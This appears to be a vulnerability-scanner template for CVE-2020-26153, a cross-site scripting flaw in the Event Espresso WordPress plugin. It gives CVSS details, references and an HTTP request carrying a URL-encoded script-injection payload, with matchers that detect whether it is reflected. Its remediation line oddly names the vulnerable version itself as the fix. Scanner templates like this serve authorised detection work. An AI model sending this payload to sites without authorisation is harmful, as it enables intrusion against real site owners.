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id : CVE-2020-26153
info :
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name : Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting
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author : pikpikcu
severity : medium
description : |
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Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.
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remediation : |
Upgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.
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reference :
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- https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
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- https://github.com/eventespresso/event-espresso-core/compare/4.10.6.p...4.10.7.p
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- https://nvd.nist.gov/vuln/detail/CVE-2020-26153
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2020-26153
cwe-id : CWE-79
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epss-score : 0.00127
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epss-percentile : 0.47048
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cpe : cpe:2.3:a:eventespresso:event_espresso:*:*:*:*:*:wordpress:*:*
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metadata :
max-request : 1
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vendor : eventespresso
product : event_espresso
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framework : wordpress
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tags : cve,cve2020,xss,wordpress,wp-plugin
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http :
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- method : GET
path :
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- "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '"/></script><script>alert(document.domain)</script>'
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- type : word
part : header
words :
- text/html
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- type : status
status :
- 500
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# digest: 4a0a00473045022100a7ab76e2e2c20cae68e676dd6fcbb5893f4c327c101d3aa02df8eaf7e968c7c7022040c43d69261277414496357d591881038eb770916bfab65dd2e547835134e4b6:922c64590222798bb761d5b6d8e72950